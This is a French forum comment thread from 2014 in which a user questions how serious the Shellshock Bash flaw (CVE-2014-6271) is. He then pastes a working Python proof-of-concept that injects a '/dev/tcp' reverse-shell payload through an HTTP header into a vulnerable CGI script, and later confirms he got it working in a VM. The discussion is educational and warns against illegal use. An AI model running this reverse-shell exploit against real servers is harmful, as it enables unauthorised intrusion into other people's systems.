Httqm, le 25/09/2014 à 13:50
Autant j'admets qu'il y a un bug (cf quelques notes ici : http://shaarli.callmematthi.eu/?dL5XSQ), mais certains titres (comme celui-ci, mais ce n'est pas le seul) ne verseraient-ils pas dans le catastrophisme voire dans le sensationnel ?

> l'interpréteur de lignes de commandes Bash, utilisé sur de nombreux systèmes GNU/Linux, avait une faille critique qui permettait de prendre discrètement le contrôle d'un serveur sans avoir à utiliser un compte d'administrateur.

Pour exploiter le bug en question, il faut préalablement avoir un accès au shell sur la machine visée pour créer une variable d'environnement. Laquelle va attendre bien sagement que je lance un nouveau shell (/bin/bash, en l’occurrence) pour s'exécuter. Qui plus est, l'environnement ne semble pas partagé entre les utilisateurs. Donc, (et sous réserve que je comprenne bien), ce bug ne peut servir qu'à créer une bombe logique qui risque de me péter à la tronche, et à moi seul ?

Dans le cas d'un script CGI sur Apache (comme expliqué ici : https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/), si l'exécution du CGI cause l'invocation d'un nouveau Bash, le code malicieux va effectivement s'exécuter à ce moment-là avec les droits d'Apache. Mais cela nécessite tout de même d'avoir eu accès au serveur préalablement en tant que www-data (qui est probablement en "nologin") pour enregistrer le code malicieux. Ou d'avoir demandé à un admin pas trop regardant de copier dans le /var/www un script qu'on lui a fourni.

Donc si quelqu'un qui maîtrise bien ces questions pouvait m'expliquer en quoi c'est vraiment "la caca - la cata - la catastrophe", ça m'aiderait à me coucher moins bête ce soir ;-)

EDIT : des détails ici (http://www.zataz.com/#axzz3EKuOTiVN) et un POC à tester (http://pastebin.com/raw.php?i=166f8Rjx)

#
#CVE-2014-6271 cgi-bin reverse shell
#

import httplib,urllib,sys

if (len(sys.argv)<4):
print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
exit(0)

conn = httplib.HTTPConnection(sys.argv[1])
reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]

headers = {"Content-type": "application/x-www-form-urlencoded",
"test":reverse_shell }
conn.request("GET",sys.argv[2],headers=headers)
res = conn.getresponse()
print res.status, res.reason
data = res.read()
print data
(Permalink)

Httqm, le 26/09/2014 à 00:21
(oui, je me réponds à moi-même, et alors ?)

> Donc si quelqu'un qui maîtrise bien ces questions pouvait m'expliquer en quoi c'est vraiment "la caca - la cata - la catastrophe", ça m'aiderait à me coucher moins bête ce soir ;-)

Comme on n'est jamais si bien servi que par soi-même, je me suis amusé à mettre en oeuvre ladite faille, et c'est vrai que ça marche : avec une requête HTTP forgée, on peut prendre la main sur un serveur web vulnérable (uniquement en tant que "www-data", certes, mais ça suffit pour mettre toute la partie web par terre). Pour le détail et le tuto, c'est à voir ici : http://doc.callmematthi.eu/LinuxSecurity.html#pocShellshock

NB : avant que des petits malins aillent faire les foufous sur les internets, le simple fait d'ouvrir un shell distant s'appelle "intrusion et maintien dans un système automatisé de traitement de données". Si en plus vous jouez à modifier des trucs, c'est un peu plus grave. Donc on est bien d'accord : on joue A LA MAISON, dans une VM qu'on peut pourrir comme on veut, pour apprendre, pour le fun, ok ?
(Permalink)